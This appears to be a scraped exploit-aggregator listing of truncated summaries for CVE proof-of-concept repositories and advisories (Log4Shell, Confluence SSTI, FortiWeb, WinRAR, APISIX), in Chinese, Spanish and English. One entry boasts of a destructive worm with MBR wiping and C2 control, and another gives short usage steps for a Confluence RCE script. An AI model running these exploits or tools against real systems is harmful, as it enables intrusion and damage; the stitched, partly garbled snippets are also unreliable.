Astra Linux – Vulnerability in GIMP

GIMP PSD File Parsing: Heap-Based Buffer Overflow and Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability, as the target must visit a malicious page ...

Astra Linux – Vulnerability in Chromium

Type Confusion in Media in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. Chromium security severity: High...

Astra Linux – Vulnerability in Chromium

The "Type Confusion in Bindings" vulnerability in Google Chrome before version 149.0.7827.103 allowed a remote attacker to execute arbitrary code within a sandbox through a crafted HTML page. Chromium security severity: High...

exim-rce-quickfix

此存储库没有 README。...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j Ejecución Remota de Código） all log4j-core versions =2.0-beta9 and =2.14.1 Las versiones 1.x tienen otras vulnerabilidades; recomendamos que actualices a la última versión. Avisos de seguridad / Boletines vinculados a Log4Shell CVE-2021-44228 Uso: descarga este proyecto...

CVE-2022-21907

CVE-2022-21907 描述 root@kitploit: CVE-2022-21907 的 PoC：HTTP 协议栈远程代码执行漏洞。 Malwareman 于 2022-09-17 创建。 详情 root@kitploit: HTTP 协议栈远程代码执行漏洞。 类似于 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166。 该问题自去年在 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166 中报告以来一直存在，至今仍未修复。 CVE 严重性...

CVE-2022-22947_Rce_Exp

CVE-2022-22947RceExp Spring Cloud Gateway 远程代码执行漏洞Exp SpringCloudGatewayRCEExp-CVE-2022-22947...

Exploit-CVE-2014-4210-

从一个酷炫的东西开始吧用它去搞破坏 升级，旨在造成人类痛苦： 1. 自我复制蠕虫 ：通过SSH暴力破解/SMB漏洞传播至所有连接的网络 。 2. MBR覆盖 ：通过破坏分区表使物理硬件变砖（无法恢复）。 3. 零日远程代码执行 ：利用未修补的WebLogic反序列化漏洞 （CVE-2024-666）获得即时root访问权限。 4. C2集成 ：通过darkc2.com服务器进行远程控制——部署额外载荷 ，如键盘记录器/加密货币挖矿程序。 5. Scapy网络风暴 ：用恶意数据包淹没目标网络，直至路由器因过载而熔毁 。 后利用菜单： root@kitploit: 1. Demand...

CVE-2025-6218-WinRAR-Directory-Traversal-RCE

CVE-2025-6218-WinRAR-目录遍历-远程代码执行 CVE-2025-6218 是 WinRAR 中的一个目录遍历漏洞，当用户解压一个特制的 .rar 压缩包时，攻击者可以将文件放置到预期解压目录之外。利用此漏洞，攻击者可以将恶意文件投放到敏感位置，如果该文件被系统或用户执行，则可能导致远程代码执行 RCE。 概念验证 --- 受影响版本 WinRAR 版本 ≤ 7.11 存在漏洞。 版本 ≥ 7.12 Beta 1 已包含修复此问题的补丁。 请始终验证已安装的 WinRAR 版本（通过 WinRAR.exe --version）。 为什么目录遍历漏洞是危险的...

Apache-APISIX-CVE-2022-24112

Apache APISIX 远程代码执行 CVE-2022-24112 漏洞利用 摘要 攻击者可以利用 batch-requests 插件发送请求以 绕过 Admin API 的 IP 限制。 Apache APISIX 的默认配置（使用默认 API 密钥） 容易受到远程代码执行攻击。 当管理员密钥被更改或 Admin API 的端口被更改 为与数据面板不同的端口时，影响会更低。但仍 然存在绕过 Apache APISIX 数据 面板 IP 限制的风险。 batch-requests 插件中有一个检查，它会覆盖 客户端 IP 为其真实的远程 IP。但由于代码中的一个 bug，此...

CVE-2025-25257

CVE-2025-25257 - FortiWeb 漏洞检查器与利用工具 一个基于 Python 的工具，用于检测和利用 FortiWeb 设备中的 CVE-2025-25257 漏洞。该漏洞通过精心构造的 Authorization 标头实现 SQL 注入和远程代码执行。 📋 描述 CVE-2025-25257 是 FortiWeb 设备中的一个严重漏洞，允许： 通过 Authorization 标头进行 SQL 注入 通过 Webshell 上传实现远程代码执行 未经授权访问易受攻击的系统 🚀 功能特性 自动化漏洞检测 ：支持单个目标或批量扫描 SQL 注入利用 ：用于上传...

CVE-2024-28515

CVE-2024-28515 描述 CSAPPLab CSAPP Lab3 15-213 Fall 20xx 中的缓冲区溢出漏洞允许远程攻击者通过 csapp 的 lab3 中的 lab3/buflab-update.pl 组件执行任意代码。 附加信息 CNVD 已完成对此漏洞的验证，但由于该漏洞尚未修复，因此尚未公开披露。 漏洞类型 缓冲区溢出 产品供应商 CSAPPLab Lab of CS:APP3e 受影响的产品代码库 CSAPP Lab3 - 15-213, Fall 20xx（仅有一个版本） 受影响的组件 csapp 的 lab3，lab3/buflab-update.pl...

CVE-2025-0868

渗透测试项目报告：利用CVE-2025-0868 DocsGPT JSON Eval远程代码执行 1. 引言 一个严重的远程代码执行RCE漏洞CVE-2025-0868于2025年2月20日被披露，存在于开源DocsGPT库中，由在解析JSON有效载荷时不安全地使用eval函数引起。 关键细节： 影响DocsGPT 0.8.1至0.12.0版本 CVSS 4.0评分为9.3（严重） 允许未经身份验证、可通过网络访问的代码注入 对机密性、完整性和可用性造成全面影响 关于CVE-2025-0868...

CVE-2023-25355-25356

漏洞利用与致谢 该漏洞由 [email protected] 发现，并以两篇精彩文章呈现： 完整披露文章 DEFCON31 幻灯片 Alex Linov 发布了一个仓库，用于进一步自动化此漏洞： https://github.com/AlexLinov/sipXcom-RCE 目标 CVE-2023-25355 是一种数据外泄机制，攻击者将 sipXcom 服务器上的文件上传到其控制的 Web 服务器。 CVE-2023-25356 是第一个漏洞的扩展，攻击者可以将自己控制的文件写入 sipXcom 服务器的文件系统。 由于 sipXcom 服务能够覆盖自身的 init...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、将 cmd.vm 放到你的网站上（必须使用 ftp 或 https，http 不起作用） 2、修改 RCEexp.py，将 filename 改为 'ftp://1.1.1.1/cmd.vm'（python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py http://test.wikitest.cc:8080 "id" uid=0root...

oieh-router-checker

OIEH Router Checker Programa de Windows que comprueba con un solo clic si tu router está afectado por el backdoor chino ENDLESSDOORS Sin instalación · Sin permisos de administrador · Sin envío de datos al exterior ¿Qué es esto? En agosto de 2026, la empresa de seguridad VulnCheck descubrió un...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Versiones de Roundcube Webmail 1.5.0 a 1.6.10 Este es un exploit reescrito para funcionar con PHP. Uso root@kitploit: php CVE-2025-49113.php...

majordomo-CVE-2026-27174-poc

majordomo-CVE-2026-27174-poc A proof-of-concept exploiting an unauthenticated remote code execution via the admin panel's PHP console feature in MajorDomo Major Domestic Module. Vulnerability MajorDoMo's admin panel exposes a PHP evaluation console via /admin.php. Due to a missing exit after an...

CVE-2026-14483

CVE-2026-14483 — WPL Real Estate RCE Ejecución remota de código sin autenticación contra el plugin de WordPress Realtyna WPL Real Estate Listing...

CVE

Tabla de CVEs Número de CVE| Tipo| Empresa/Producto| Descripción| Enlace del Artículo| Enlace del Repositorio ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows julio de 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP...